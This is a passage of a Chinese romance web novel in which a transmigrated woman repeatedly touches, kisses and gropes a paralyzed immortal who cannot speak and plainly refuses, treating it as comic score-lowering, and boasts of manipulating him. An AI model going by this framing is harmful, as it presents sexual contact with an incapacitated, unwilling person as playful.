把自己收拾利索后,白珏坐在一块石头上,拧着湿漉漉的头发,余光不经意间往他腰下一瞥,看到那高高的山包时,白珏深吸口气。
都晕过去那么久了,这东西还是没消停。
所以,他到底是行,还是不行呢?
白珏默了片刻,最后幽幽叹了口气。
不管行还是不行,她是真的不敢了。
这应该是她最贵,最难护理的玩具了。别的小玩具,就是充电、消毒、清洗。
可他呢?
喂饭、渡水、擦身不说,还的时时刻刻盯着,防止他吐血报废,最关键的是,连个说明书都没有,全靠她自己摸索!
哦对,只是这样她也就忍了,可他竟然不堪重用!
一想到此处,白珏就心痛不已。
她辛辛苦苦盘算半天,结果一个月是妄想,三个月也落空,哪怕退让到半年,如今都不成了!
白珏幽怨地瞥了眼他,从地上捡起木棍,在地上重新开始规划。
方才在温泉池下,她记不得他总共触了多少次,但大概得数值是能估摸出来的。
白珏朝右上角看去。
魔气值:【989785022】
如果说池下一次是降500分,池上一次是80分,根据她在开始操作之前所记的分值来看,她在即将忍不住之前,应该是上下共降了20多万分。
白珏眯着眼一边回忆,一边分析。
这样算的话,池上应当是碰了100多下,池下大概是有200多下。
如果他当时没有吐血,她应该还能再坚持个百八十下,上下一起算的话,又能降个四五万分了。
综上所述,也就是说,只用手的话,一次能降30万分。
而两人行事……唔,小说里叫双修,那就是双修的时候,一次大概能降1000万分。
根据他身体的情况,原计划两日一次的双修,肯定不行了。
白珏手指在石头上快速地敲了几下,最终咬牙挥笔。
那就一周一次!
但是,一定要将这一次利用到极致!
可以先来30万分的手动模式,再开启双修模式,争取每一次都物尽其用,绝不浪费!
这样一来,每周在双修之事上,便能直降1030万分。
白珏咬住木棍上的那头,眯眼嘟囔道。
“一周一次,一个月四次,那就是4120万分……”
至于每天的常规照护,她可以加大力度,可就算如此,顶多也就是2000分。
白珏把木棍往地上一扔,盯着那串数字看了半天,最后长长地呼了口气。
“每月四千多万,九亿多的魔气值……差不多两年。”
白珏彻底有了结论。
“两年。”
她眉眼微垂,呆呆地坐在石头上。
直到洞外吹来了一阵微凉的风,她才瑟缩了一下,抬起眼来。
“两年就两年。”
总比遥遥无期,没有盼头强。
她牛马多年,还在乎这两年?
没有刁难人的领导,没有糟心的同事,连客户的脸色都不用看,就她和她的大号美男玩具。
有什么撑不住,熬不过的!
白珏深吸口气,起身来到男人身侧,扫了眼下处,见大山包变成中山包,更是放下心来。
看来只要休息妥当,应该不会再那般
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骇人了。
她将人背回石床,却没有立即帮他穿衣,而是又将目光落在那堆白花花的衣衫上。
她伸手又摸了摸。
料子是极好的,又轻又软,还透气,扔了可惜,穿着碍事,那不如……
玄屹醒来之时,已至黄昏。
他睁开眼,眼角余光看到一旁背靠石床,在地上盘膝而坐之人。
洞内太静,纵是他没有开口,也没有任何动作,只是沉缓的呼吸变得不同,也被她听了出来。
“醒啦?”
白珏回过头来,见他面色逐渐恢复,眼神也不再涣散,松了口气。
她搁下手中东西,转过身去,抬手将他的脸掰向自己这边,又让他微微垂首,与她距离更近。
“看这儿。”她带着一丝得意,晃了晃手里的布料,“我在帮咱们做衣服呢!”
玄屹这才看清,她竟是在缝制衣裳。
她手中的骨针是一根极细的发簪,那发簪是她之物,簪头的镂空雕花刚好穿了一根细线,而线是从他白袍的边缘抽出来的细丝,被她捻成了细长一股,在轻薄的布料中不住穿梭。
这又是在作何把戏?
玄屹正疑惑着,恍然想起一事,连忙垂眼朝身上看去。
看到的瞬间,他呼吸猛然一滞。
他身上的衣衫全然不见,上身只着一件无袖短衫,堪堪遮住胸口与腰腹,两条臂膀就这样敞露在外。
而下身,连亵裤都无,只有一条又短又薄的……他甚至不知该称呼那为何物!
竟比亵裤还要短了不止一半,只能遮住那最要紧的一处,两条腿根都已是全露在外!
玄屹如遭雷击,一双细长的眉眼,此刻里除了震惊,还有羞愤与不可置信。
白珏如何听不出来,那呼吸都乱成什么样了。
她回头看去。
啧,好了伤疤忘了疼。
“又瞪我了?”
白珏才不气恼,两年的时间,若是日日与他生气,那不得气死了。
她唇角微扬,倏地一下亲了过去。
温软的唇瓣贴来的瞬间,玄屹瞳仁再次微颤,孽障……孽障……
【-10】
【989784950】
看到分值,白珏满意地直起身,盯着面前这张俊美的面容道:“以后不许再瞪我了哦。”
说罢,她又与他耐心解释,“放心吧,天黑我们一起盖那件黑袍。”
孽障!还不快将本尊衣衫速速归还!
玄屹怒气未消,反倒更甚。
白珏用两指充当小人腿,从他唇瓣一路往下走,“我不介意,帮你做几件情|趣|内|衣……”
她指腹所及之处,激起一层细密颤栗。
“喔,你大概不知道那是什么,就是……”
小人走至三角处,一只小脚轻轻勾起股根的一边。
“比如说这里镂空……”
玄屹浑身一僵,细长双眼倏然瞪大,用那看疯子一样的眼神看向她。
白珏回望着他,唇角又勾几分,“这个眼神也不好哦,不可爱,不友善,也没那么帅了。”
说罢,她眉梢一挑,小人彻底钻了进去。
【-50】
“这里呢?可以只留一根细带……”
11.第十一章
果然,这孽徒所做一切,皆是为了羞辱他!
玄屹怒不可遏,恨不能当场对她施以雷刑。
“我看出来了哦,你好像想抽我?”
白珏眉梢一挑,唇角故意露出邪恶的笑,但指尖还是收了回来。
只是为了警告一下罢了,她可不敢再多碰,毕竟这东西看着壮观,实则是个小弱鸡,让它休息一周,下周再好好教训。
收回手,白珏又凑到他面前,一手托腮,一手拿起他一缕发丝,一下又一下地轻扫着他的眉眼。
“要是再凶下去,我可就真的做啦?”
白珏夸张又戏弄的语气,激得玄屹心中怒火更盛。
他还从未如此动怒过。
在仙界万年,便是经历再多混乱严峻之事,哪怕是当年仙魔大战,魔君闯入神域,将那神域撕开一道裂缝时,众仙无不惶惶,唯有玄屹只是眉眼微沉,那冰冷的神色中不见半分慌乱。
而如今,面对这般孽徒,他竟头一次怒到失了威仪,乱了心神。
眼看男人没有半分收敛,怒火反倒更盛,白珏无奈地松开发丝,“既然你喜欢,那我就抓紧时间帮你缝一条出来吧!”
话落,她正要回过身去,便见男人的唇瓣,忽地颤了两下。
“咦?”白珏顿时愣住,“你嘴巴动了?”
她记得男人的嘴巴是不会动的啊。
便是两人双修最盛那时,他唇瓣似乎也未曾动过。
一个危险的念头忽然蹦出。
白珏大为警觉,立即眯眼凑上前去,“对了,刚才你在池子里的时候,头上为什么会有一个金印?”
她原本以为,那金印和他偶尔出现的金瞳一样,只是仙人身份的象征,可此刻她又不免有了别的怀疑。
男人还在气恼,刻意将视线移去别处,显然是看都不想多看她一眼。
白珏已是顾不得生气,忙又换了个问法,“你是仙人,肯定修为很高,就算现在瘫着,日后也能慢慢恢复,是不是呀?”
她定定盯着玄屹,不敢错过他任何一个反应。
然玄屹神色未变,不给她半分探究的机会。
白珏眯了眯眼,故作叹息,“你要是能恢复可就太好了,你应该发现了吧,我会时不时犯病,一旦犯病,痛苦万分……如果你能恢复,我的病就有救了!”
说至此,她立即将男人脸掰过来,迫他看着她。
白珏:“你会帮我吗?”
玄屹:会。
身为师父,他怎会任由她堕魔至此?
他定会帮她。
他会将她仙骨抽出,施以雷刑,若她能挺过,便继续封在藏渊阁悔过,若挺不过,便堕入轮回,生生世世为畜,再不得踏入仙途半步。
然他面上并无波澜,只是眸中怒意渐消,又如从前那般,冷冷地看着白珏。
白珏满眼期待:“会不会呀?你眨眼示意一下,还是老规矩,一下就是会,两下就是不会。”
玄屹冷嗤。
他已是猜出了白珏的把戏,她此番询问,不在治病,而是有意设套,想知道他可能突破结界,恢复神识。
见他迟迟不答,白珏心知应当问不出来了。
因为不论玄屹如何答,对会对他不利。
要是答会,便说明他能有恢复的一日,白珏若是害怕他报仇,定会提前下手。
可若是不会,她便会更加肆无忌惮,想如何羞辱便如何羞辱。
白珏轻笑一声,回过身继续缝制手中衣物。
“不帮就不帮吧,反正你是仙人,”
她低头认真缝着,语气不紧不慢。
“仙人嘛,最是心怀苍生,救苦救难,感化世人,肯定不会不分青红皂白,就要随意打杀他人,对吧?”
“再说了,如果当时我没有将你拖入洞中,你应该已经被野兽吃了……”
白珏一边道德绑架,一边在心里盘算。
不管男人能不能恢复,她都要将他盯紧了,就算能恢复,那也不可能是眨眼之间的事,总会有征兆的。
一旦有任何异样……
白珏眼皮微挑,朝洞口看了一眼。
跑。
她跑出去藏起来,引他去寻。
等他出去之后,她再
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折返而归。
总之,原身设的结界这般厉害,不经她的手,谁也别想进来。
不过,最好还是不要发生这样的事,想想就心惊胆跳的。
“你生气,我是能理解的,如果是我遇见这样的事,我也肯定很生气,可这也怪不得我,我一开始就是发善心为了救你的……”
“你仔细想想,我们在一起的时候,是不是你先不守规矩的?”
“我得了这邪病,是无奈之举。”
“可你身为仙人,却道心不稳,便是方才在池子里,我什么都还没做呢,你那个就翘得那样高,还、还撞我……”
白珏说着,偷偷侧眸朝身后看去。
男人脸上怒火已散去大半,目光似在看池水,至于眼中神情,好像有些茫然与懊悔。
嗯,没错。
白珏觉得,还是持续洗脑,持续PUA,持续上道德比较靠谱,又开始喋喋不休起来。
“虽然我是女子,更吃亏些,但我不和你计较,也不嫌你瘫,更不会怪你弱……毕竟我善良,大度……也知道你是形势所迫……”
玄屹眼皮跳了一下,深吸口气。
耳边那聒噪的嗡嗡声却更是响亮。
“所以,你也别太自责,咱们算是扯平了。”
“还是那句话,咱俩以后相互偎依,互相扶持……要不然,咱们成亲吧?”
她没救了。
便是畜生道,都该有灵性与羞耻。
她这般,连轮回为畜都已是不必。
玄屹彻底合了眼,心中再无任何波澜,好似又变为了那个仙界最威严冷静的执律仙君。
“不对,这种书应该怎么说来着,结成道侣?”
白珏记得有这样一个词,就是不知道两人如今身份,能否结成道侣,或是说,这本书的设定支不支持这样的行为?
她回头正要询问他,却听一个断断续续的声音,忽然在耳中响起。
“宿、宿主……你、你要和、和谁……结、结……道道……”
白珏顿时愣住,这甜美又透着几分机械的女声,不正是她的系统嘛!
12.第十二章
真是时时刻刻都会有新惊喜。
“系统!你回来了?”
认出这声音的瞬间,白珏整个人都兴奋起来了。
“你可算回来了!你知不知道我这几天都是怎么过的?”
白珏满肚子都是委屈。
系统:“抱、抱歉……魔魔魔气太、太、太……高,我卡、卡、卡……”
白珏有种不祥的预感。
果不其然,系统一句话还未说完,熟悉的剧痛便骤然席卷而来,右上角的魔气值也随即暴涨。
白珏疼得瞬间吸气,忙扔下手中针线,转头便抱住身后之人。
与之前一样,一旦两人肌肤相触,魔气值便停止上涨,疼痛也会立即消散。
幸好方才肚子饿的时候,没有着急去摘果子,她就是怕许久没犯病,万一骤然发作,来不及赶回来。
白珏趴在男人怀中,垂眼便是男人的臂膀。
不得不说,他身上的肌肉线条着实太好看了,既紧实,又流畅,肌肉的薄厚刚刚好,而非那种夸张到吓人的壮硕。
啧,这不正好就是她最喜欢的状态嘛。
白珏坐起身,将手落在他肱二头肌处,一下又一下地拍了起来。
【-1】
第一下的时候,是带着一丝松垮的Q弹。
【-1】
第二下落上去时,肌肉倏然变得邦硬。
唔,他紧张了,或者说,是在抗拒。
每次她碰他,他都会这样,瞬间变得紧绷起来。
白珏都习惯了。
【-1】
【-1】
【……】
她继续一下又一下地拍着,直到方才涨回来的那几分,全部又给降了回去,她才满意抬手,心中不由感叹。
跨栏背心可真是妙啊,动起手来方便极了。
“啊对了,系统!系统你还在吗?”
白珏心急之下,直接就喊了出来。
谁?她在与谁说话?
一直合眸的玄屹,闻言倏地睁开了眼,却是看到白珏在用掌心不重不轻地拍着耳朵,口中还念念有词。
“出来啊系统,你不是回来了么,怎么又不说话了?”
细……细桶?
玄屹眉心蹙起,不论是人还是物,他从未听说过这两个字。
莫非是什么邪物?
面对白珏诡异的行径,玄屹的眸光愈发沉冷,片刻后,他忽地反应过来。
她并非是在寻何物,而是与人在传音。
玄屹下意识调动灵力,想要探听。
然那丹田却空空如也。
玄屹这才记起,他的灵力在之前强行突破封印时,已是消耗殆尽。
他很久未曾有过这样的感觉了,他甚至已是忘记当初尚未化形,也尚未成仙之时的模样。
玄屹的眼神有些飘远,许久后,才敛眸回神。
他今日,不该操之过急,根据他眼下的情况来看,强行突破结界只会遭到反噬。
看着面前还在自言自语的白珏,玄屹眉眼微沉。
待灵力恢复些许,便先开传音。
至于旁的,不急再这一时。
灵力会慢慢回来,封印必也会重重破开。
至于白珏,还有与她传音之人,到时一并清算。
思及此,玄屹又想起一事。
白珏所练邪术来自藏渊阁禁书,若习此术,必要与人双修,她如今堕魔,必是已经与人行过那事……玄屹阖了阖眼。
那人是谁?
可是此刻正与她传音之人?
“啊……我真的服了!”
白珏欲哭无泪,原本以为系统回来了,没想到只是说了两句话,就又消失了。
“真是太不负责了!我看了那么多书,人家系统都是随叫随到,你倒好……”
听至此,玄屹神情更冷。
她果然不是一个人。
那么多书?她到底看了多少禁书?习了多少邪术?
还有她口中不负责的那个人,到底是何身份,若是先前将她抛弃离开,缘何今日又要与她传音?
白珏不知她崩溃的这片刻工夫,玄屹已是脑补了这么多,只知自己现在不仅心情沮丧,肚子也饿。
再不去摘果子,天都要黑了。
整个学习生涯,再加她多年的牛马人生,白珏已经练就出来了,情绪来得快,去得更快。
只要第二天的太阳还要升起来,这日子就还得过下去。
她站起身,与男人交代了一句,便提着自己方才做的简易布兜朝外走去。
根据这几日的观察,白珏发现犯病的频率,比她刚来的时候明显降低了。
所以刚才已经犯过一次,下一次不会那么快就来。
至于原因,白珏觉得,应该是因为她每天会和这个男人碰触。
魔气值降了,犯病的频率自然也就低了。
一切还是朝着好的方向发展的。
白珏赶在天黑之前,回到了洞中。
这次摘得更多。
要不是她今日莫名其妙力气变大了,根本就不可能提得动。
难道是受了原身的影响?
比如魔气值下降,原身原本的灵力就回来了?
七八颗果子下肚。
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>白珏随意指着一根木棍,做了各种尝试,折腾得满头大汗,胳膊都举酸了,都未能让其着起一丝火星,最终还是放弃了。
夜里,洞中太黑,白珏也不再缝制衣服,百无聊赖地躺在石床里侧。
这日子,有时候觉得过起来极快,一眨眼就好几日过去了,有时候又觉得很慢,比如此刻,度秒如年既视感。
如果她没有来到这本书中,此时她在做什么?
加班,追剧,看小说,刷刷视频,若是心血来潮,也会跳会儿操,练练瑜伽……
再玩个小玩具什么的。
黑暗中,一声幽幽叹息。
不知道怎么搞的,刚才在一旁忙活的时候,也没觉得心烦意乱,怎么往床上一趟,往他跟前一凑,手再这样一握,脑子就有些不受控了,总想些乱七八糟的。
心也突突跳得更快,小手似乎也有点痒了,总想摸点什么,抓点什么……
白珏用力咬了咬牙,转过身背对男人,面朝石壁。
姓白的你别不争气,你白天是怎么教育人家的,还说自己定力强,看看你这点出息……
眼睛一闭,男人精壮的线条又飘在了眼前。
那紧握男人的小手,变得又痒又热。
啊,这该死的灼烧感。
忍住,必须忍住,说好了一周一次,莫不是忘了这男人不中用了?
今天一天就吐了两次血,要晚上再来一次,那不得凉得透透的。
可是……啊……太痒了,哪里都痒……哪里都热……好热……她记得昨晚山洞很冷啊,今天怎么会这么热?
太热了啊,整个身体都在灼烧。
不至于吧,不至于啊,她怎么会在这种事上上瘾呢?
白珏将黑袍全部揭开,就让夜晚的寒冷将她冻清醒吧……毫不管用。
【-8】
白珏呼吸猛然一滞。
“死手,你啥时候上去的?”
黑暗中,白珏气呼呼嘟哝了一句,赶忙将手抽了回来,谁知抽到那紧绷的、鼓鼓的二头肌时,又忽然刹车。
要不……就随便摸两下,就当是为了降分,早点回家?
嗯,也对,又不是要双修,就是……降降分而已。
不碰他那处,也不会让他碰她,就……降分……
纯粹的为了降分。
两根手指化身小人腿,顺着肱二头肌,一路朝上攀爬,爬至小山尖……
【-8】
【-8】
【-8】
【……】
死手……别、别……
别“啊……”
【-500】
13.第十三章
幽暗的洞中,这低低一声,显得极为明显。
白珏慌了,用一只手按住了另一只手。
双眼倏地一下便睁开了。
“你……你睡了吗?”
她小心翼翼问出声,那柔柔的气息轻呵在他颈窝之处,带了一丝灼热的风。
然玄屹夜里未再食那情缘果,此刻半分灼热也未曾感到,犹如那清冷的一尊神像般,面上看不出任何神情,只静心咒,便可将那一切邪念所压。
这一幕落入白珏眼中,便是他已熟睡的意思。
毕竟他未曾蹙眉,也未曾睁眼,身上……似也不那么紧绷了。
对,没有紧绷的状态,说明他是真的睡着了。
他白日里那般辛苦,又伤了身体,自然需要好好休息。
嗯,他肯定是睡了。
睡了的话……
【-500】
不不不,不行……
【-500】
万一她动静大了,把他吵醒了怎么办?
【-500】
“啊……啊!”死嘴,快闭上。
白珏赶忙捂住嘴,又朝身侧看去。
他还是没有醒,不仅未醒,好似睡得更加沉稳了,白珏能感觉出来,他整个人都是松弛的,就好像灵魂早已抽离此处,去了那九霄云中……而她,在这不断下降的分值中,也快寻去了云间。
许是已经知道他睡得沉,不会轻易醒来,又或是彻底在这舒服中沉沦,她愈发大胆,也愈发不管不顾。
他侧颜的弧度落入眼中,视线变得逐渐朦胧,指缝间的哼咛似也再藏不住。
在那极致的搐缩之后,她终是松开了手,整个身子都变得软绵绵的,再无半分力气。
她就这样盯着他,脑子像是被放空了一般,也不知自己在想什么,竟又下意识抬手,用指尖在他鼻梁处轻抚了一下。
他真的很好看,五官挑不出任何错处,尤其是这鼻子,好挺呀……
白珏不知想到了何事,那指尖骤然一顿,整个人都跟着愣了一下。
而后,她立即眨眼回神,猛地将手缩了回来。
姓白的,你到底是怎么了?
怎么净想这些事,还越想越过分了,明明刚才结束过一次,这就又开始胡思乱想了,你要当真坐上去,他肯定会醒,醒来后就算那处不坏,也得被气得吐血吧?
只是随意想了一下那个场景,白珏便有种男人会吐血而亡的预感。
别想了,他不行的,她也要克制一下。
一想起方才左右脑互搏的情形,白珏还是会忍不住纳罕。
真是奇怪了,她不是那种人啊,怎就今晚像着了魔一样,怎么忍都忍不住?
白珏小心翼翼坐起身,垂眼望着面前狼藉,又是一声低叹。
这种时候,她又该庆幸石床没有被褥,只需用布擦干就好,不必拆换清洗那样折腾了。
白天她将一些裁坏的布料,进行了分类,有的用来当抹布,有的用来当毛巾,此刻都派上了用场。
也不知古人可否讲究,反正她必须要把每条毛巾的用处分得清清楚楚。
她先用抹布将石床擦得干净,才跑去池边,将自己清洗了干净,待回来的时候,石床也差不多干了。
蹑手蹑脚爬回床,已是彻底疲乏到睁不开眼了。
她撩起黑袍,将两人全部盖在一起。
合眼,握手,睡觉。
【-1】
【989534120】
黑暗中,玄屹眼睫微颤了一下,却是没有睁眼。
静心咒,第五十七遍。
白珏再睁眼时,已至第二日正午。
便是没有表,只看那洞外日光,也猜得出来。
醒来后,白珏坐起身,伸了个长长的懒腰,只觉浑身上下,每根骨头都变得酥酥软软的,许久未曾睡得这样好了,连带着看这石床,也越来越顺眼了。
听到白珏起身,玄屹便也睁开了眼。
两人眸光相撞,白珏愣了一瞬,旋即咧嘴冲一笑。
“早上好。”
笑容有些勉强,还透着几分心虚。
不过没关系,男人只是看了她一眼,便将实现落在了布兜上。
“哎呀,我昨天又和你双修,又给你洗澡,还帮你做衣服,累坏了,所以才睡到了这个点。”
白珏是故意这样说的,果不其然,一提起昨日发生的事,男人眉眼瞬间沉了下来,耳根似也有些泛红。
白珏也不知为何,愈发喜欢逗他。
可能是这洞里的日子过分无聊了。
“肚子饿坏了是吧,来,我先给你喂饱,再去洗漱吧。”
白珏下床,拿起一块石头,在石壁上刻下一道,已经第四日了,到明日醒来,就完成了一个正字。
她搁下石头,起身从布兜里掏出果子,坐回石床边,却是没有像之前一样直接喂他,而是将目光落在了他唇瓣上。
她眯了眯眼,片刻后,忽地来了一句,“你就算不刷牙,也得漱口啊?”
若不是得帮他渡水,白珏也懒得管,可现在,他的嘴干净与否不是他一个人的事。
白珏想到一个办法,先将男人扶起身,让他靠在她怀中,再将瓷碗里的水喂到他口中,捏住双唇,不让那水流出,再晃晃男人脑袋,达到漱口效果后,再让他把水流出来,反复三四次,便也差不多了。
拿定主意后,白珏说干就干,整个过程不算麻烦,只是男人这张嘴完全丧失了自控能力,有时候那水一边喂着,一边就从唇角流出来了,还没来及捏嘴呢,那口水就没了。
还会流的脸颊,脖子,身前……哪里都是。
【-1】
【-1】
【-1】
【……】
“现在知道我为什么给你做背心了吧?”
白珏拿着毛巾,帮他擦着水渍。
“如果要是穿着你原来的衣裙,早就全部弄湿了,湿哒哒的贴在身上,那得多难受啊。”
玄屹神情不见半分感激,反倒是冷冷朝她睨去。
不识好歹。
白珏心里不爽,面上还是笑盈盈的。
清了口,便该吃早饭了。
这次白珏看出来了,在她拿起一颗果子之时,玄屹那双眼睛便不住地眨。
“不想吃?”白珏问他。
玄屹眨了一下,不想。
白珏笑容更深,举起石块拍了下去,“不想也得吃,这周围没别的东西能吃了。”
“你要是不介意吃虫子,我可以帮你抓两只回来。”她故意吓他。
掰开嘴。【-2】
塞进去。【-8】
她给玄屹喂了七颗,自己吃了五颗。
吃完后,她急匆匆跑出去了一趟,接了碗溪水回来。
再然后,又将洞里收拾了一番,趁着日光好,将昨日用过的一些毛巾,挂在洞外晾晒。
待忙活完,便又靠在石床边继续缝制衣服。
她要做一身家居服,这样便可以和原身的这件衣裙换着穿了。
也不知缝了多久,她眼睛实在发涩,一抬眼,看到橙黄的光线,她这才发觉,一日又要过去了。
今天分值降得不算多,除了最基础的碰触外,她与他几乎没有再做任何事了。
今日她也没有胃口,不知是果子吃腻了的缘故,还是没什么太多运动,就正午吃了五颗后,就没再吃了,便也没有给男人喂。
“好无聊啊……”
无聊啊……聊啊……啊……
寂静的山洞里,回应她的只有自己的回声。
“还要两年……”<
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要两年……两年……年……
白珏一屁股坐回原处,回过头来看着玄屹,手指再度化成小人。
【-1】
【-1】
【-1】
【……】
小人他手背上慢慢一步一步跑跳着朝他眼皮靠近。
“咚、咚、咚!”
小人的手,也就是拇指,在玄屹眼皮上轻轻叩了两下。
“请问仙人在不在家,我来找你玩啦!”她捏着嗓子,语调听起来带着几分奶声奶气。
玄屹眉心蹙了蹙,原是不想睁眼,一门心思都在恢复灵力上。
谁知白珏又让小人又朝他身前走去。
“哎呀,这白布底下遮着什么呢?”
小人掀开布帘,钻了进去。
【-8】
“哎呀!”小人夸张地问,“谁的小红豆藏在这里了呀?”
【-8】
“有没有人要呀,没人要我抱回家了喔!”
小人抱住红豆,用力向上一提。
【-8】
“哎呀呀,我搬不动呐,看来得加加油啦!”
【-8】
“嘿咻……嘿咻……”
【-8】
随着一声微颤的吸气声传来,玄屹终是睁开了眼。
小人却没有立即松手,而是一边轻拍细揉,一边用那惊讶的语气问:“咦……小红豆,你怎么长高了一点,也长大了一点呢?你怎么不软糯了呀?”
孽障,还不松开。
玄屹眼神似要吃人。
白珏撇撇嘴,终是让小人钻了出来。
“明明可以早点睁开,非要我一番操作,我有时候都不知道,你到底是不是故意的……”
白珏说着,又将脸凑了上前去,盯着他问。
“你是不是不愿意承认,其实你很舒服……对吧?”
玄屹将视线冷冷移开。
否定的很明显。
但白珏有些不信。
不过……他怎么想也没那么重要。
“喂,你看过来,我找你有事。”
玄屹视线移了回来。
白珏眼里闪着光,“五子棋你听说过没?”
玄屹犹豫了一下,眨了两下眼,没听过。
白珏眼中光更亮,“我教你,特别简单!”
玄屹合上了眼。
白珏:“……”
“哎呀,”小人奶声奶气的声音响起,“我想我的小红豆啦,小红豆别害怕,我是不会丢下你的!我要……”
玄屹睁开了眼。
【-1】
白珏在他鼻梁处轻轻刮了一下。
“乖。”
她捡起石头,在地上开始画棋盘,一边画棋盘,一边给玄屹讲解规则。
“你用眼神给我示意落在何处就好。”
“要是谁输了,谁就接受惩罚!”
“好不好?”
画完,白珏回头看他,等他回答。
他有的选么?
玄屹眨了一下眼,好。
但是,该如何惩罚?
白珏似是看出他疑惑,也蹙眉想了想。
眸光不经意间落在了他鼻梁上,有那么一瞬间,昨晚脑中蹦出的画面又闪现出来,白珏耳根有点烫,赶忙将视线移开。
不成,他要么会气死,要么会胀死,还是……日后再说吧。
可要是轻轻揭过,又不刺激了,也就没意思了。
思忖了半晌,白珏开口。
“你要是输了,我就弹你。”
白珏对着空气,用指尖狠狠弹了一下。
至于弹哪里,她没说。
“我要是输了,那我就吃亏一点吧,亲你就是了。”
亲哪里,她也没说。
14.第十四章
白珏对五子棋的记忆还停留在初中,那时每到课间,或是上自习课的时候,同桌会拿出画好的棋盘来向她挑战。
在那个还未彻底被智能手机统治的年代,下五子棋已经是一个不错的消遣了。
不过后来,因为她总赢,屡屡受挫的同桌,便也不来找她下了。
白珏当然还会有别的消遣方式,只是不适合她现在的处境。
谁让她旁边这位是个瘫子呢。
讲完规则与惩罚后,白珏又让男人彻底侧过身,将叠高的袍子垫在他身后,这样他便能将地上的整片棋盘看个清清楚楚。
“你要下在哪里?”
白珏信心十足,让他先手。
玄屹未曾多思,目光落在棋盘正中。
白珏在正中打了个叉,紧接着便在旁边画了个小圆圈。
两人就这样下起了五子棋,有时候棋盘上子太多,白珏摸不准男人到底是在看哪里,也会顺着他目光去找,确定好位置后再帮他落子。
白珏下得很快,不需要过多思考,几乎都是条件反射性地落子。
眼看大半个棋盘已经画满,白珏忍不住嘟囔起来,“你怎么不组自己的线,光堵我啊?”
“你该不是没听懂吧?”
玄屹没有理会,目光始终落在棋盘上,他眉心微蹙,眼神专注,每次落子前皆要细思。
白珏起初还觉得搞笑,下个五子棋而已,有必要想那么久么?
可下着下着,她有点笑不出来了。
看着满地的叉叉和圆圈,她一时竟不知该将子落在何处了。
你输了。
玄屹无法开口,视线却是终于从棋盘上移开,朝白珏看来。
那淡淡的,带着几分清冷的眼神,不必言语,白珏也看出来了。
“急什么,我还没输呢!”
白珏嘴上这么说,心里却开始慌了,她知道自己被做局了。
可只要她还没真正落下这一子,她就觉得还有机会。
反正,不到最后一刻,她才不会认输。
最烦别人催她。
玄屹神情依旧淡淡,重新将视线落回棋盘,盯着某一处眨了眨眼。
明明还未下完,就着急哄哄说她输了。
白珏心里不服,脸上也露出不耐,顺着他目光寻去了一处角落。
那里因为一早就被画满的缘故,她已经很久没有细看过了。
然此刻再看,那里不知何时,竟当真由五个叉组成了一条斜线。
白珏愣住,“这……这不是早就够五个子了?”
至少是在五步之前,这条线就已经组好了。
她实在不解,“你赢了怎么不说呢,干嘛拖到现在?”
玄屹似在与她说明缘由,望着那一处,眨了两下眼后,又将目光地移至另一处,也就是让白珏此刻难以落子之处。
他望着此处,略微停了片刻,才缓缓眨了一下眼。
整个过程,他神情里没有半分得意或是怪责,只是在平静地向白珏陈述:那时候赢,是因为你没有看见,那样的赢,不算赢。
他要的赢,并非是来自对手的疏忽漏看,而是要对方在无论什么情况下,都无法取胜。
也就是现在。
白珏虽还未落子,可不论落在何处,两子之后,他必定会赢。
所以,他并非是在催促她,也并非是在羞辱她,只是结局已定,没有任何必要再浪费时间。
不知是两人经过几日相处,多少建立了默契的缘故,还是因为棋盘与玄屹的眼神,已经诠释得足够明显。
总之,白珏看懂了。
因为看懂了,心里就更不爽了。
“下次你要是连好了,直接告诉我就行,疏忽大意也是输,干嘛非要等我入局才算?显得你很厉害吗?”
即便男人神情没有半分要不屑,可她还是觉得自己被羞辱了。
不过很快,白珏的唇角便扬了起来。
“好了,你赢了,我接受惩罚。”
话落,她没有丝毫犹豫,也丝毫不给男人反应,俯身便在男人唇瓣上轻啄了一下。
【-10】
而后,她故作顿住,一双好看的杏眼瞪得圆溜溜,“哎呀,这么快又这么轻的惩罚,不能算真正的惩罚吧?”
说罢,她又朝棋盘上扫了一眼,故意用那平静的语气,慢悠悠道:“真正的惩罚,必须是让对方真切的感受到,这才算数,对吧?”
玄屹脸上平静瞬间被击碎,取而代之的是满眼愕然。
他何曾想到,白珏竟会强行将他下棋的章法,套在惩罚上。
简直是厚颜无耻。
看他如此反应,白珏顿觉心情舒畅,双手捧住他脸颊,俯身再次贴了上去。
【-10】
【-10】
【-10】
【……】
这一次,又重又长。
重到白珏自己的双唇都已发麻,呼吸也愈发不畅,连那舌根都开始酸软,这才松开了手,缓缓直起身。
看着男人微肿的红唇,还有那不知是羞还是被气的涨红的脸,白珏噗嗤一下笑出了声。
男人脸色更加难看,一张绝好的脸上满满都是羞愤。
嘶……怎么还生出了了点罪恶感?
白珏勉强敛住几分笑意。
擦擦唇角,她一边朝着自己脸颊扇风,一边轻咳一声,“恭喜你哦,开
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门红了呢,现在我们来下第二局。”
无耻之人,不必与她浪费时间。
玄屹冷冷看她一眼,当即合眸。
“赢了一把就想跑?”
白珏才不肯将他放过,抬手将他连推带晃,“人家都是五局三胜,或者三局两胜,哪有你这样的?你给睁开眼!”
玄屹被摇来晃去,却丝毫不肯睁开。
白珏气得眯起眼,深匀了两个呼吸,捏着嗓子召唤小人。
“哎呀,听我家小红豆说,那边的大峡谷里,有根小玉锥,可神奇了呢,我要去看看!”
她一边奶声奶气说着,一边又让指头小人,一路从小红豆处,迈步朝着峡谷的方向大步走去。
“让我看看有多神奇?”
小人撩开白布。
【-1】
小人钻了进去。
【-1】
小人摸索向前。
【-50】
“哎呀,什么玉锥这么丑呀,一点也不神奇!”
【-50】
“诶等一下,这玉锥好像会动呀?”
一声极为明显的抽气声落入耳中。
白珏知道他肯定睁开眼了,但她全当不知,只将注意力落在小人身上。
“果然是个神奇的家伙,我要把它带回家好好研究!”小人摩拳擦掌。
【-50】
【-50】
【-50】
“怎么肥四,它怎么这样重啦,根本抱不动嘛!”小人气急败坏,在QQ弹弹的软垫上跺了跺脚。
白珏这才缓缓掀起眼皮,朝上方看去,明知故问,“咦,仙君怎么睁眼啦?”
小人却是没停,又抱了一下。
【-50】
玄屹再度吸气,眉眼中冷意也随之加重。
别太过分。
白珏冲他笑笑。
再过分的又不是没有过。
“仙君呀,您要是心情不好,就继续合眼休息吧,我自己无聊玩手呢,不需要劳您辛苦陪着下棋了。”
玄屹知道,她这是在警告他,不该瞪她。
哪怕心中早已将这孽徒抽了筋骨,此刻,他也还是用力合眼,深吸口气后,缓缓睁开。
淡漠,平静,不见半分恼意。
白珏很满意。
